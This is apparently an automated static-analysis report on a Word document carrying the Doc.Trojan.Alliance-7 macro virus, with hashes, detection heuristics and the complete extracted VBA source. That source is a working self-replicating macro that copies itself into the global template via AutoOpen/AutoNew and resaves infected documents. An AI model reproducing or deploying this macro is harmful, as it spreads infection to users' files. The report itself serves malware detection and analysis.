Doc.Trojan.Alliance-7 — Office (OLE) malware analysis

Static analysis result for SHA-256 9eede49d0eac3b8a…

MALICIOUS

Office (OLE)

33.0 KB Created: 1999-09-12 12:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b957b943931700d66d825ef92c4b703d SHA-1: 0996b401785c764497f2012897d17ebb8a887e26 SHA-256: 9eede49d0eac3b8af6f0f17845577a75ec28c93e2b166845c0b1fd448b5b5132
188 Risk Score

Malware Insights

Doc.Trojan.Alliance-7 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample was detected as 'Doc.Trojan.Alliance-7' by ClamAV, indicating a known malware family. The presence of VBA macros, specifically an 'AutoOpen' subroutine, suggests an attempt to execute malicious code upon opening the document. The macro attempts to copy itself and save the document, likely to establish persistence or spread.

Heuristics 4

  • ClamAV: Doc.Trojan.Alliance-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Alliance-7
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1007 bytes
SHA-256: d5c287f280971b318a1caa5328ef8bc66cde7c18f6c4f8d0822fd006e520400a
Detection
ClamAV: Doc.Trojan.Alliance-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim Fname$
Dim MacName$
Dim TagNummer
On Error GoTo -1: On Error GoTo ErrorHandler
    
Fname$ = WordBasic.[FileName$]()
MacName$ = Fname$ + ":AutoOpen"

WordBasic.FileSummaryInfo Comments:="You Have Been Infected by the Alliance"

WordBasic.MacroCopy MacName$, "Global:AutoNew"
WordBasic.MacroCopy MacName$, "Global:AutoOpen"

ErrorHandler:

TagNummer = WordBasic.Day(WordBasic.Now())

Select Case TagNummer
    Case 11, 2, 7, 12
    
        If WordBasic.IsDocumentDirty() = -1 Then
            WordBasic.MacroCopy "Global:AutoOpen", MacName$
        End If
        WordBasic.FileSaveAs Format:=1
        
    Case Else
    
End Select
    


End Sub